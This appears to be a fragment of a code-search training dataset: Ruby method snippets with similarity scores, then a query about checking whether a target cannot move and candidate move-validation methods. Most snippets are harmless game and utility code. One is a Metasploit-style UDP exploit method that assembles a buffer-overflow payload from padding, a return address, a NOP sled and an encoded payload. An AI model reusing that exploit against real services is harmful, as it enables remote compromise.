? -999 : param.to_i\r\n when \".\" # Wait 0.25 seconds\r\n msgwindow.waitcount += Graphics.frame_rate/4\r\n when \"|\" # Wait 1 second\r\n msgwindow.waitcount += Graphics.frame_rate\r\n when \"wt\" # Wait X/20 seconds\r\n param = param.sub(/\\A\\s+/,\"\").sub(/\\s+\\z/,\"\")\r\n msgwindow.waitcount += param.to_i*Graphics.frame_rate/20\r\n when \"wtnp\" # Wait X/20 seconds, no pause\r\n param = param.sub(/\\A\\s+/,\"\").sub(/\\s+\\z/,\"\")\r\n msgwindow.waitcount = param.to_i*Graphics.frame_rate/20\r\n autoresume = true\r\n when \"^\" # Wait, no pause\r\n autoresume = true\r\n when \"se\" # Play SE\r\n pbSEPlay(pbStringToAudioFile(param))\r\n when \"me\" # Play ME\r\n pbMEPlay(pbStringToAudioFile(param))\r\n end\r\n controls[i] = nil\r\n end\r\n break if !letterbyletter\r\n Graphics.update\r\n Input.update\r\n facewindow.update if facewindow\r\n if autoresume && msgwindow.waitcount==0\r\n msgwindow.resume if msgwindow.busy?\r\n break if !msgwindow.busy?\r\n end\r\n if Input.trigger?(Input::USE) || Input.trigger?(Input::BACK)\r\n if msgwindow.busy?\r\n pbPlayDecisionSE if msgwindow.pausing?\r\n msgwindow.resume\r\n else\r\n break if signWaitCount==0\r\n end\r\n end\r\n pbUpdateSceneMap\r\n msgwindow.update\r\n yield if block_given?\r\n break if (!letterbyletter || commandProc || commands) && !msgwindow.busy?\r\n end\r\n Input.update # Must call Input.update again to avoid extra triggers\r\n msgwindow.letterbyletter=oldletterbyletter\r\n if commands\r\n $game_variables[cmdvariable]=pbShowCommands(msgwindow,commands,cmdIfCancel)\r\n $game_map.need_refresh = true if $game_map\r\n end\r\n if commandProc\r\n ret=commandProc.call(msgwindow)\r\n end\r\n msgback.dispose if msgback\r\n goldwindow.dispose if goldwindow\r\n coinwindow.dispose if coinwindow\r\n battlepointswindow.dispose if battlepointswindow\r\n facewindow.dispose if facewindow\r\n if haveSpecialClose\r\n pbSEPlay(pbStringToAudioFile(specialCloseSE))\r\n atTop = (msgwindow.y==0)\r\n for i in 0..signWaitTime\r\n if atTop\r\n msgwindow.y = -msgwindow.height*i/signWaitTime\r\n else\r\n msgwindow.y = Graphics.height-msgwindow.height*(signWaitTime-i)/signWaitTime\r\n end\r\n Graphics.update\r\n Input.update\r\n pbUpdateSceneMap\r\n msgwindow.update\r\n end\r\n end\r\n return ret\r\nend",
"def chop!() end",
"def chop!() end",
"def skill_effect_damagefix\r\n self.damage = nil unless $game_temp.in_battle\r\n end",
"def repair(text); end",
"def help_message()\n return 'I\\'ll remove you from the line to get on deck. (I\\'ll automatically remove you if you leave the room.)'\n end",
"def bang!\n \"b a n g\"\n end",
"def hot_fixes(text)\n text\n end",
"def cartman_says(offensive_message)\n puts offensive_message #fix\nend",
"def unheard\n 'HUH?! SPEAK UP, SONNY!'\n end",
"def exit_message player, action = nil\n if info.exit_message\n info.exit_message.gsub(/(!name|!pronoun\\(:(\\w+)\\)|!pronoun)/) do\n case $1\n when \"!name\"\n player.name\n when \"!pronoun\"\n player.pronoun\n else\n if $2\n player.pronoun($2.to_sym)\n end\n end\n end\n else\n case action\n when \"jump\"\n \"#{player.name} jumps over #{self.name}.\"\n when \"climb\"\n \"#{player.name} climbs #{self.name}.\"\n when \"crawl\"\n \"#{player.name} crawls out through #{self.name}.\"\n else\n \"#{player.name} steps through #{self.name} and vanishes.\"\n end\n end\n end",
"def perform_damage_effect\n end",
"def perform_damage_effect\n end",
"def truncated_text_with_hover text, args = {:truncate => 40}\n \"<div title='#{text.length > args[:truncate] ? text : nil}'>#{text.truncate(args[:truncate])}</div>\".html_safe\n end",
"def skill_effect_miss\r\n self.damage = 'Miss'\r\n end",
"def compromised_text\n clear\n tab; \"The alarm has been triggered.\\n\".typing\n tab; \"The mission has been compromised\\n\".typing\n sleep 1\n tab; \"They're closing in, Agent!\\n\".typing\n sleep 1\n tab; \"Get out of there, #{codename}!\".typing\n \". . .\\n\".typing(1)\n play_again_prompt\n end",
"def discardHiddenTreasure(t)\n \n end",
"def attk_char(character)\n damage = self.attack_power\n if damage > 0\n character.update(hp: character.hp - damage)\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n puts @@pastel.magenta(\"#{self.name} dealt #{damage} damage to #{character.name}!\".center(145))\n puts @@pastel.magenta(\"#{character.name} has #{character.hp} HP left!\".center(145))\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n sleep(1)\n end\n end",
"def effects_message(entity, recover)\n \"#{entity.name} uses #{name} and recovers #{recover}\"\\\n \" HP!\\n\\nHP: #{entity.hp}/#{entity.max_hp}\\n\\n\"\n end",
"def text_urgent(text); text_green(text);end",
"def get_damage_string\n \"1d3\"\n end",
"def invalid_code_snippet\n system(\"clear\")\n invalid_code_snippet_pastel = Pastel.new\n puts invalid_code_snippet_pastel.red(\"Error - Invalid Code Snippet\")\n puts \"Returning you to the Main Menu\"\nend",
"def remove_text_label\n\t\t$tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.p.className(create_ats_regex_string(\"ats-removetxtlbl\")), format_method(__method__))\n\tend",
"def take_damage(damage)\n @hitpoint -= damage\n end",
"def pop(*what)\n if what.length.zero?\n primitive 'pop graphic-context'\n else\n # to_s allows a Symbol to be used instead of a String\n primitive 'pop ' + what.map(&:to_s).join(' ')\n end\n end",
"def hermes_catchphrase; end",
"def chop() end",
"def chop() end",
"def unpin_script(script); end",
"def hammer\n\t\tputs \"A nice gentle bangabang\"\n\tend",
"def take_damage amt, name, sym, message\n @hp -= amt\n @last_hit_by = name\n @kill_type = sym\n hear_line message\n # check if you died?\n end",
"def reset_fancyness\n self.plain_text\n end",
"def display_exiting!(text)\n # create goodbye message\n # display welformatted conclusion message\n system \"clear\"\n msg = colorize(\" #{text.upcase} \", $font_colors[:cyan])\n puts \"\\n#{msg.center(77)}\\n\\n\"\n end",
"def slip_damage_effect\r\n # Set damage\r\n slip_damage_effect_base_damage\r\n # Dispersion\r\n slip_damage_effect_dispersion\r\n # Subtract damage from HP\r\n slip_damage_effect_damage\r\n # End Method\r\n return true\r\n end",
"def hit damage\n out = ''\n p_up = rand charisma\n if p_up % 9 == 7\n @life += p_up / 4\n out << \"[#{self.name} magick powers up #{p_up}!]\\n\"\n end\n @life -= damage\n out << \"[#{self.name} has died.]\\n\" if @life <= 0\n out\n end",
"def cancel_attack\n @windows[Win_Status].clear_dmg_preview\n @cursor.active = true \n end",
"def work_out\n self.hygiene -= 3\n self.happiness += 2\n return \"♪ another one bites the dust ♫\"\nend",
"def enchant\n end",
"def undo\n if done\n @text = text.sub(DONE_REGEX, '').strip\n @done = false\n end\n end",
"def catnip_attack\r\n\t\t# prints string announcing cat has found catnip and is now\r\n\t\t# bouncing off the walls\r\n\t\t\tputs \"Uh oh the cat has found the catnip and is going crazy!\"\r\n\t\tend",
"def summoner_spell; end",
"def do_exclamation s; mega_pop(s) == 0 ? s[:stack].push(1) : s[:stack].push(0) ; end",
"def catch_text\n # get the actual offset\n start = @buffer.get_iter_at_offset(@@offset)\n\n # get the command\n cmd = @buffer.get_text(start, @buffer.end_iter)\n\n # Save the command to the history object\n @historic.append(cmd)\n\n # Write the command to our pipe\n send_cmd(cmd)\n\n # Add a return line to our buffer\n insert_text(\"\\n\")\n\n # Call the prompt\n prompt()\n\n # Create the mark tag if not exist\n if (not @buffer.get_mark('end_mark'))\n @buffer.create_mark('end_mark', @buffer.end_iter, false)\n end\n\n # Save our offset\n @@offset = @buffer.end_iter.offset\n end",
"def item_effect_miss\r\n self.damage = 'Miss'\r\n end",
"def gameover\n op_hand.clear\n end",
"def restore_pokemon_hp\n\n end",
"def gets_damage(damage) \n @life_points -= damage\n\n if @life_points <= 0 \n puts \"Déso #{@name} t'es mort !\"\n end\n end",
"def discard_effect\n @game.discard_pile_cards << \"lock_down\"\n end",
"def gulag\n @soviet_sound.stop\n @gulag.play\n puts `clear`\n puts '\n ███ ▄█ █▄ ▄████████ ▄██████▄ ███ █▄ ▄█ ▄████████ ▄██████▄ \n ▀█████████▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ \n ▀ ███▀▀██ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ █▀ \n ███ ▀ ▄███▄▄▄▄███▄▄ ▄███▄▄▄ ▄███ ███ ███ ███ ███ ███ ▄███ \n ███ ▀▀███▀▀▀▀███▀ ▀▀███▀▀▀ ▀▀███ ████▄ ███ ███ ███ ▀███████████ ▀▀███ ████▄ \n ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ \n ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ▄ ███ ███ ███ ███ \n ▄████▀ ███ █▀ ██████████ ████████▀ ████████▀ █████▄▄██ ███ █▀ ████████▀ \n ▀ \n '.colorize(:red) \n puts \" Welcome to the Gulag, a fight for survival where winning your Gunfight will grant you a second chance…\n While losing your Gunfight results in possible elimination.\"\n \n puts \" YOUR FATE IS IN THE HANDS OF THE RUBY SAMPLE METHOD\n +--^----------,--------,-----,--------^-, \n | ||||||||| `--------' | O \n `+---------------------------^----------| \n `\\_,---------,---------,--------------'\n / XXXXXX /'| /'\n / XXXXXX / `\\ /'\n / XXXXXX /`-------'\n / XXXXXX /\n / XXXXXX /\n (________( \n `------' \n\n \"\n egg1 = [@easter_egg[2]]\n result_egg1 = @prompt.collect do\n key(:answer).select(\"Press Enter:\", egg1)\n end\n\n puts `clear`\n\n egg_result = result_egg1.values.join \n \n if egg_result = @easter_egg[2]\n moving_anim()\n end\n \n \n arr = [method(:final_straw_lose), method(:final_straw_win)]\n\n didIwin = arr.sample\n didIwin.call\n end",
"def code_title_not_found\n system(\"clear\")\n code_title_pastel = Pastel.new\n puts code_title_pastel.red(\"Error - Code title not found\")\n puts \"Returning you to the Main Menu\"\nend",
"def spell; end",
"def pop_frame()\n CLI::UI::Frame.close(\"Pop!\")\n end",
"def damaged\n @hp = @hp - 1\n end",
"def bark\n say('ouah ouah')\n nil\n end",
"def display_repel_check\n display_message(parse_text(39, 0))\n end",
"def faint; end",
"def faint; end",
"def open_text\n \"\"\n end",
"def portal_message player, action = nil\n if info.portal_message\n info.portal_message.gsub(/(!name|!pronoun\\(:(\\w+)\\)|!pronoun)/) do\n case $1\n when \"!name\"\n player.name\n when \"!pronoun\"\n player.pronoun\n else\n if $2\n player.pronoun($2.to_sym)\n end\n end\n end\n else\n case action\n when \"jump\"\n \"Gathering your strength, you jump over #{self.name}.\"\n when \"climb\"\n \"You reach up and climb #{self.name}.\"\n when \"crawl\"\n \"You stretch out on your stomach and crawl through #{self.name}.\"\n else\n \"You boldly step through #{self.name}.\"\n end\n end\n end",
"def item_effect_damagefix\r\n self.damage = nil unless $game_temp.in_battle\r\n end",
"def work_out\n self.happiness = @happiness + 2\n self.hygiene = @hygiene - 3\n \"♪ another one bites the dust ♫\"\n end",
"def receive_damage\n @hit_points-= 10\n end",
"def banner()\n print \"\"\" \n =================================================================\n =================================================================\n\t ==========International Morse Code translator v 0.0.1 =========\n ==========Transates user supplied Morse Code to text ============\n\t =================================================================\n ==========Coded by Rick Flores | nanotechz9l ====================\n ==========E-mail 0xnanoquetz9l<<\\|/>>gmail.com ===================\n\t =================================================================\n =================================================================\n \n\"\"\".foreground(:blue).bright\nend",
"def attack_effect_miss\r\n self.damage = 'Miss'\r\n self.critical = false\r\n end",
"def exp_remaining_text\n expa = exp_lvl - exp\n expa = 0 if expa < 0\n return expa.to_s\n end",
"def attack_effect_damage\r\n self.hp -= self.damage\r\n end",
"def replace_text(out = nil)\n print out if out\n exit 201\n end",
"def pbHitAndHPLossAnimation(targets)\n @briefMessage = false\n self.afterAnim = false\n # wait\n self.wait(4, true)\n # prepare soundeffect\n effect = []\n indexes = []\n for t in targets\n effect.push(t[2])\n indexes.push(t[0].index)\n @sprites[\"dataBox_#{t[0].index}\"].damage\n @sprites[\"dataBox_#{t[0].index}\"].animateHP(t[1], t[0].hp)\n end\n # play damage SE\n case effect.max\n when 0; pbSEPlay(\"Battle damage normal\")\n when 1; pbSEPlay(\"Battle damage weak\")\n when 2; pbSEPlay(\"Battle damage super\")\n end\n # begin animation\n for k in 1..(effect.max == 2 ? 3 : 2)\n for i in 0...8\n for t in targets\n next if k > (t[2] == 2 ? 3 : 2)\n ebDamageStateAnim(t[0], t[2], i, k > 1)\n end\n # wait frames\n self.wait(1, true)\n end\n end\n # animations for triggering Substitute\n self.substitueAll(indexes)\n # try set low HP BGM music\n setBGMLowHP(false)\n setBGMLowHP(true)\n # try to process the speech\n for t in targets\n # displays opposing trainer message if Pokemon falls to low HP\n hpchange = t[0].hp - t[1]\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"damage\" : \"damageOpp\") if hpchange.abs/t[0].totalhp.to_f >= 0.6 && hpchange < 0\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"resist\" : \"resistOpp\") if hpchange.abs/t[0].totalhp.to_f <= 0.1 && hpchange < 0 && !handled\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"lowHP\" : \"lowHPOpp\") if t[0].hp > 0 && (t[0].hp < t[0].totalhp*0.3) && !handled\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"halfHP\" : \"halfHPOpp\") if t[0].hp > 0 && (t[0].hp < t[0].totalhp*0.5) && !handled\n break if handled\n end\n end",
"def speak_text(texttospeak)\r\n fixedmessage = texttospeak\r\n fixedmessage = fixedmessage.gsub(\"\\r\", \" \")\r\n fixedmessage = fixedmessage.gsub(\"\\n\", \" \")\r\n fixedmessage = fixedmessage.strip\r\n exec(\"AGI\", \"speak_text.agi|\\\"\" + fixedmessage + \"\\\"\")\r\n\tend",
"def fadeSpeech _obj, _args\n \"_obj fadeSpeech _args;\" \n end",
"def ygg_attacker() ; return nil ; end",
"def damage(ap)\n @health_points -= ap\n end",
"def pre_game\n clear\n mission_directive_text\n clear\n codebreaker_protocol_text\n begin_mission_text\n end",
"def sip\n puts \"just drank a lil\"\n # Faster cleaner way\n @coffee_amount -= sip_amount\n end",
"def do_dollar s; mega_pop(s) end",
"def game_complete_text\n slow_type(\"\\nCongratulations, #{@new_player_name}! You have found your way out!\")\n pause(0.3)\n slow_type(\"Written, developed and coded by Adam Vaughan and Danny Smith.\")\n pause(0.3)\n slow_type(\"Stayed tuned for more levels!\")\n end",
"def textilize(text) \n text = swear_generator(text)\n RedCloth.new(text).to_html.html_safe unless text.blank? \n end",
"def lnbSetText _args\n \"lnbSetText _args;\" \n end",
"def efficent_message(effectiveness, target)\n if effectiveness > 1\n scene.display_message(parse_text_with_pokemon(19, 6, target))\n elsif effectiveness > 0\n scene.display_message(parse_text_with_pokemon(19, 15, target))\n end\n end",
"def farewell_message\n puts \"\"\n puts \"Cheers! \\u{1f37b}\" # beer emoji 🍻\n end",
"def display_homunculus_sacrifice(target, item)\n if target.result.homunculus_item_used\n id = target.homunculus_item_id\n text = sprintf(Bubs::HomunculusItem::HOMUNCULUS_TEXT, $data_items[id].name)\n add_text(text)\n Sound.play_homunculus_item_break\n Bubs::HomunculusItem::HOMUNCULUS_TEXT_WAIT.times do; wait; end\n wait_for_effect\n back_one\n end\n end",
"def cat_mouse(x)\n p x = x.split(\"\")\n p f = x.shift\n l = x.pop\nif x.length > 3\n p \"Escaped!\"\nelse\n p \"Caught!\"\n end\nend",
"def exploit\n connect_udp\n sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)\n sploit << [target.ret].pack('V')\n sploit << make_nops(16)\n sploit << payload.encoded\n udp_sock.put(sploit)\n handler\t\n disconnect_udp\t\t\n end",
"def unstarred\n '☆'\n end",
"def perror text\n clear_last_line\n puts \"\\r#{RED}#{text}. Press a key.#{CLEAR}\"\n get_char\nend",
"def shout(word)\n# irb(main):012:1> \nreturn \"HOLA\"\n# irb(main):013:1> \nend"
] |
[
"0.5921499",
"0.5880296",
"0.58796114",
"0.57674116",
"0.5720242",
"0.56746346",
"0.5632962",
"0.5628977",
"0.5602111",
"0.5583087",
"0.55467975",
"0.55304",
"0.5518704",
"0.5517159",
"0.55096453",
"0.5476529",
"0.5476529",
"0.5474976",
"0.54239386",
"0.5423123",
"0.54055077",
"0.53965604",
"0.53961074",
"0.5393673",
"0.53936297",
"0.53852046",
"0.53852046",
"0.5382421",
"0.53764594",
"0.5374181",
"0.53527045",
"0.5331231",
"0.5321602",
"0.5316743",
"0.531259",
"0.5311727",
"0.52967304",
"0.5292634",
"0.5262119",
"0.52590746",
"0.5254466",
"0.5254466",
"0.5251428",
"0.52398634",
"0.5238551",
"0.52313364",
"0.5208442",
"0.5191428",
"0.51845425",
"0.51842993",
"0.5182306",
"0.51765347",
"0.5176095",
"0.5171555",
"0.51685673",
"0.51670396",
"0.51603574",
"0.5159021",
"0.51558805",
"0.51512027",
"0.51493394",
"0.5148137",
"0.5138539",
"0.5133486",
"0.51320565",
"0.512907",
"0.5128143",
"0.5124167",
"0.5123982",
"0.51234215",
"0.51234215",
"0.5122752",
"0.51227385",
"0.51216286",
"0.51203656",
"0.5109635",
"0.5104043",
"0.5098362",
"0.50950986",
"0.5088972",
"0.50876915",
"0.5085804",
"0.50814986",
"0.50793546",
"0.5079292",
"0.50764847",
"0.5076126",
"0.50721866",
"0.5071515",
"0.5068582",
"0.5066947",
"0.5063603",
"0.50607437",
"0.5055612",
"0.5054775",
"0.505113",
"0.5047515",
"0.50469315",
"0.5043058",
"0.5041036"
] |
0.5278185
|
38
|
check if target is unable to move
|
def force_stopped?
return true if @anime_speed > 0 || @knockdown_data[0] > 0 ||
@stopped_movement > 0 || @hookshoting[0] || @angle_fx != 0.0
return true if @making_spiral
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move_possible?(target)\n self != target && # Can't target self\n same_scope?(target) && # can't be in different scopes\n # !(left..right).include?(target.left..target.right) # this needs tested more\n # detect impossible move\n !((left <= target.left && right >= target.left) or (left <= target.right && right >= target.right))\n end",
"def moving?\n !@start_move\n end",
"def causes_death?(move)\n available_moves(move).empty?\n end",
"def no_player_can_move?\n !valid_move?(:black) && !valid_move?(:red)\n end",
"def can_move?\n @max_movement > 0\n end",
"def valid_move?(destination)\n occupant = @board[destination]\n result = false\n if occupant.nil? || (enemy? occupant)\n result = movement_rule(destination)\n end\n\n result\n end",
"def move_possible?(target)\n same_scope?(target) && !is_or_is_ancestor_of?(target)\n end",
"def valid_move?(x, y)\n return false if is_obstructed?(x, y)\n diagonal_move_left?(x, y) || diagonal_move_right?(x,y)\n \n end",
"def legal_move?(x_destination, y_destination)\n x_movement_difference = (x_destination - self.x_pos).abs\n y_movement_difference = (y_destination - self.y_pos).abs\n\n x_movement_difference.between?(0, 1) && y_movement_difference.between?(0, 1)\n end",
"def valid_move?(x_des, y_des)\n ( no_x_move?(x_des) && standard_move?(x_des, y_des) ) ||\n ( promotion_move?(x_des, y_des) || pawn_capture_move?(x_des, y_des) )\n end",
"def valid_move?(position)\n position.between?(0,8) && !position_taken?(position)\n end",
"def valid_jump? target_position\n return false unless self.board[target_position].nil?\n \n # check if target position is a valid position \n diffs = self.move_diffs.collect { |el| el * 2 } \n possible_moves = find_possible_moves(diffs)\n #if you cannot move to the target position return false\n return false unless possible_moves.include?(target_position) \n \n \n # find enemy position to check if its enemy or our own color\n jump_direction = [target_position[0] - self.pos[0], target_position[1] - self.pos[1]]\n enemy_distance = jump_distance.collect { |el| el / 2 }\n enemy_position = [self.pos[0] + enemy_distance[0], self.pos[1] + enemy_distance[1]]\n return false if self.board[enemy_position].color == self.color \n \n true \n end",
"def valid_move?(location)\n location.to_i.between?(1,9) && !position_taken?(location.to_i-1)\n end",
"def valid_move?(position)\n index=position.to_i - 1\n index.between?(0, 8) && !(position_taken?(index))\n end",
"def valid_move_command?(x,y)\n @tb_event && @tb_event.tb_unit.tb_valid_move?(x,y) && $game_map.tbu_id_xy(x,y) == 0\n end",
"def valid_move?\n\t\tvalid_1 = (0..2).include? (@take_from)\n\t\tvalid_2 = (0..2).include? (@move_to)\n\t\tif valid_1 == false || valid_2 == false\n\t\t\tputs \"I'm sorry, please input your move in a 'x,y' format, ensuring that you are selecting numbers between 1 and 3!\"\n\t\t\tmove_input\n\t\telsif @pegs[@take_from][0] == nil\n\t\t\tputs \"I'm sorry, I'm not in the mood for a philosophical debate so let's just agree that you cannot move nothing and you can try again.\"\n\t\t\tmove_input\n\t\tend\n\tend",
"def perform_jump target_position \n if valid_jump?(target_position) \n move!(target_position)\n return true\n else\n return false\n end \n end",
"def could_be_valid_move?\n return @board_gfx.is_draggingpiece_valid?\n end",
"def can_move?\n return false if @tb_event.nil?\n @tb_event.tb_unit.can_move?\n end",
"def valid_move?(move)\n move.to_i.between?(1,9) && !taken?(move)\n end",
"def move?\n @moving\n end",
"def is_valid?(_destination)\n raise NotImplementedError, \"Must be able to detect if a move is valid!\"\n end",
"def valid_move?(new_x, new_y)\n true\n end",
"def check_move(start_pos, end_pos)\n # p start_pos\n # puts end_pos\n\n if self[[start_pos[0], start_pos[1]]].valid_move?(start_pos, end_pos, self)\n self[[start_pos[0], start_pos[1]]].move(start_pos, end_pos, self)\n end\n end",
"def move_valid?(x, y)\n coordinate_valid?(x, y) && !@visited[y][x]\n end",
"def move_valid?(x, y)\n coordinate_valid?(x, y) && !@visited[y][x]\n end",
"def is_move_available?\n self.robot.world.is_move_available?(self.x, self.y)\n end",
"def valid_move_vect?\n valid_passive_move_vect? || valid_aggressive_move_vect?\n end",
"def valid_slide? target_position\n return false if !self.board[target_position].nil?\n \n possible_moves = find_possible_moves(move_diffs) \n possible_moves.include?(target_position) ? true : false\n end",
"def valid_move?(move_index)\r\n #valid if position is NOT taken\r\n valid = !self.position_taken?(move_index)\r\n if valid == true\r\n if move_index.between?(0,8)\r\n valid = true\r\n else\r\n valid = false\r\n end\r\n end\r\n valid\r\n end",
"def valid_move?(index)\n\t\tindex < 9 && !position_taken?(index) ? true : false\n\tend",
"def move?\n return @moving\n end",
"def can_move_to?(x, y)\n old_x = @object.x\n old_y = @object.y\n @object.move(x, y)\n\n unless @object_pool.world.can_move_to?(x, y)\n terrain = @object_pool.world.world[y][x]\n @object.stats.add_message(\"Bump into a #{terrain.id} #{terrain.symbol} (#{@object.x}, #{@object.y})\")\n return false\n end\n\n @object_pool.same_point_objects(@object.x, @object.y, @object).each do |obj|\n case obj\n when Character\n obj.on_collision(@object)\n return false\n when Item\n break if @object.input.is_a?(AiInput)\n\n obj.on_collision(@object)\n end\n end\n\n true\n ensure\n @object.move(old_x, old_y)\n end",
"def check_moving_into_check_error(start_pos, end_pos, player_color)\n unless next_move_not_in_check?(start_pos, end_pos, player_color)\n raise ChessError.new \"Can't put yourself in check!!!\"\n end\n end",
"def valid_move?(position)\r\n @index = position.to_i-1\r\n if @index.between?(0,8) && !position_taken?(@index)\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def valid_move?\n\t\t@table.stays_on_table?(@robot_direction, @x, @y)\n\tend",
"def fatal_move?(from, to)\n is_fatal = false\n move = Move.new(@board, from, to)\n move.commit\n is_fatal = true if king_attacked?\n move.rollback\n is_fatal\n end",
"def moving?; @moving; end",
"def moving?; @moving; end",
"def valid_move?(position)\n if !position_taken?(position) && position.between?(0,8)\n true\n else\n false\n end\n end",
"def move_end?\n @move_end || !@start_move\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def test_cannot_castle_if_king_has_moved\n # TODO\n end",
"def valid_move?(position)\n !taken?(position) && position.to_i >0 && position.to_i <=9\n end",
"def move_possible?(ordinates)\n if @x + ordinates[0] > @plateau.x || @x + ordinates[0] < 0 || @y + ordinates[1] > @plateau.y || @y + ordinates[1] < 0\n raise Exception, 'On the edge of plateau. Not possible to move forward.'\n end\n end",
"def can_use_move?\n moves = @moveset\n # TODO : Implement all the move conditions\n return moves.any? { |move| move.pp > 0 }\n end",
"def valid_move?(index)\n if position_taken?(index)\n false\n elsif index < 0 || index > 8\n false\n else\n true \n end\n end",
"def movable?\n return false if (@type == 2 and @altitude < MAX_ALTITUDE)\n return (not moving?)\n end",
"def legal_move?(board,from,to)\n\t\treturn false unless super(board,to)\n\t\tfrom_y = from[1]\n\t\tfrom_x = from[0]\n\t\tto_y = to[1]\n\t\tto_x = to[0]\n\t\t#when trying to move diagonally\n\t\tif from_x != to_x\n\t\t\t#checks colour of pawn\n\t\t\tif colour == \"white\"\n\t\t\t\t#checks only 1 vertical move away\n\t\t\t\tif (from_y-to_y) == 1\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"No enemy pawn there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (to_y-from_y) == 1\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"No enemy pawn there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#when trying to move straight\n\t\tif colour == \"white\"\n\t\t\tif from_y == 6\n\t\t\t\tif (from_y-to_y) <= 2 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 or 2 spaces from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\t\t\t\t\t\n\t\t\telse\n\t\t\t\tif (from_y-to_y) == 1 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 space from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tif from_y == 1\n\t\t\t\tif (to_y-from_y) <= 2 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 or 2 spaces from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (to_y-from_y) == 1 && board.get_piece(to) == \"_\"\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\tputs \"Can only move 1 space from here and or another piece already there\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_move?(board, index)\n if position_taken?(board, index) or !(index >= 0 and index < 9)\n false\n else\n true\n end\nend",
"def does_it_land?\n if self.robot.moves.count < 1 \n errors.add(:base, :landing_error) if !self.is_move_available?\n end\n end",
"def check_valid_move to_move\r\n\t\t\r\n\t\tif to_move == 0\r\n\t\t\tif driver.location.west_road == nil\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\treturn true\r\n\t\t\tend\r\n\t\t\r\n\t\telsif to_move == 1\r\n\t\t\tif driver.location.north_road == nil\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\treturn true\r\n\t\t\tend\r\n\t\t\r\n\t\telsif to_move == 2\r\n\t\t\tif driver.location.east_road == nil\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\treturn true\r\n\t\t\tend\r\n\t\t\r\n\t\telsif to_move == 3\r\n\t\t\tif driver.location.south_road == nil\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\treturn true\r\n\t\t\tend\r\n\t\telse\r\n\t\t\traise \"The location does not exist. Error\"\r\n\t\t\r\n\t\tend\r\n\t\treturn false\r\n\tend",
"def is_move_valid(move)\n @moves.include? move\n end",
"def valid_move?(location)\n location.to_i.between?(1,9) && !taken?(location)\n end",
"def valid_move?(input)\n (0..8).include?(input) && !position_taken?(input)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0, 8) && !position_taken?(index)\n end",
"def valid_jump?(move)\n from, to = move\n\n return false unless self[to].nil?\n\n between = between(from, to)\n\n moving_player = self[from]\n\n return false if self[between].nil?\n\n # is the spot between a player of a different color?\n self[between].color != moving_player.color\n end",
"def no_target\n return false if $game_variables[TARGET_X_VAR] != 0\n true\n end",
"def move_valid_for?(player_id)\n return false if last_player_id == player_id\n\n true\n end",
"def valid_move?(index)\n return index.between?(0, @board.length) && !position_taken?(index)\n end",
"def valid_jump_destination?(from, to, pieces)\n row = Game.index_to_row(from)\n target = nil\n if Game.is_king?(pieces[from-1])\n return if (row + 2 != Game.index_to_row(to)) and (row - 2 != Game.index_to_row(to))\n target = get_target_for_red(row, from, to) || get_target_for_white(row, from, to)\n elsif Game.is_red?(pieces[from-1])\n return if row + 2 != Game.index_to_row(to)\n target = get_target_for_red(row, from, to)\n elsif Game.is_white?(pieces[from-1])\n return if row - 2 != Game.index_to_row(to)\n target = get_target_for_white(row, from, to)\n end\n return target\n end",
"def valid_move?(index)\n puts \"Turn #{turn_count}\"\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(input_position)\n num = self.convert_to_i(input_position)\n num.between?(1, 9) && !self.taken?(num)\n end",
"def can_attack?( target )\n not @finished and targets.include?( target )\n end",
"def move_available?\n total_available_moves > 0\n end",
"def position_taken?(board, position)\n return false if valid_move?(board, position)\n return true unless valid_move?(board, position)\nend",
"def valid_move?(index)\n index.between?(0,8) && ! position_taken?(index)\n end",
"def move(move = {})\n begin\n move!(move)\n rescue => e\n errors.add :base, e.message\n return false\n end\n end",
